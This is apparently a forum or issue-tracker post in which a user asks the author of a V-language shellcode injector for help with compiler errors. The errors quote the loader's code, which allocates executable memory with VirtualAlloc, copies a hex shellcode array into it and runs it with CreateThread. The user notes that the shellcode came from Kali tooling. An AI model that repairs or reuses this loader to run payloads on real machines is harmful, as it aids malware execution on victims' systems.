error: unknown type `size_t`

[johnjohnsp1]

hello alex, i try to compile the code but getting this errors:

./shellcode.v:14:51: error: unknown type size_t 12 | fn inject(shellcode []byte) bool { 13 | println('Creating virtualAlloc') 14 | address_pointer := C.VirtualAlloc(voidptr(0), size_t(sizeof(shellcode)), 0x3000, 0x40) | ~~~~~~~~~~~~~~~~~~~~~~~~~ 15 | println(address_pointer) 16 | ./shellcode.v:18:54: error: cannot use int as size_t in argument 3 to C.RtlMoveMemory 16 | 17 | println('WriteProcessMemory') 18 | C.RtlMoveMemory(address_pointer, shellcode.data, shellcode.len) | ~~~~~~~~~~~~~ 19 | 20 | println('CreateRemoteThread') ./shellcode.v:21:32: error: unknown type size_t 19 | 20 | println('CreateRemoteThread') 21 | C.CreateThread(voidptr(0), size_t(0), voidptr(address_pointer), voidptr(0), 0, &u32(0)) | ~~~~~~~~~ 22 | time.sleep(1000) 23 | return true ./shellcode.v:44:12: error: cannot use []string as []byte in argument 1 to inject 42 | "\x61\x72\x6d\x88\x03\x77\x29\x0e\xff\x05\x22\xfb\xff\xba\x43" 43 | "\x2e\x9c\x5d\xd0\xb2\x4d\xf8\x50\x50\x92"] 44 | inject(shellcode) | ~~~~~~~~~ 45 | }

the shellcode has been generated with the kali command line:

but seems is not good applied to the code, are you able to give any hint to make it works ? i do something wrong ? thanks for sharing your ideas, pretty nice one !!
